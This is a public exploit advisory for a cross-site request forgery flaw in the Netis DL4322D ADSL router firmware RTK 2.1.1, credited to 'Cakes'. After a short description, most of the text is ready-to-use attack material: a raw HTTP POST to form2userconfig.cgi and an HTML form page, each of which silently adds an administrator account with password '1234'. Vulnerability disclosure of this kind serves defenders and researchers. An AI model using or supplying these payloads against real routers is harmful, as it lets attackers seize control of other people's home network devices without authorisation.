# Exploit Title: Netis ADSL Router DL4322D RTK 2.1.1 - Cross-Site Request Forgery (Add Admin)
# Author: Cakes
# Discovery Date: 2018-10-01
# Vendor Homepage: http://www.netis-systems.com
# Software Link: http://www.netis-systems.com/Home/detail/id/74.html
# Tested Version: RTK 2.1.1
# Tested on OS: Kali Linux
# CVE: N/A

# Description
# Due to improper session management an attacker is able to add a administrator account
# without providing any authentication credentials.

# PoC 1
POST /form2userconfig.cgi HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 112

username=Cakes&privilege=2&newpass=1234&confpass=1234&adduser=Add&hiddenpass=&submit.htm%3Fuserconfig.htm=Send

# PoC 2
<html>
  <body>
    <form action="http://Target/form2userconfig.cgi" method="POST">
      <input type="hidden" name="username" value="Cakes" />
      <input type="hidden" name="privilege" value="2" />
      <input type="hidden" name="newpass" value="1234" />
      <input type="hidden" name="confpass" value="1234" />
      <input type="hidden" name="adduser" value="Add" />
      <input type="hidden" name="hiddenpass" value="" />
      <input type="hidden" name="submit&#46;htm&#63;userconfig&#46;htm" value="Send" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>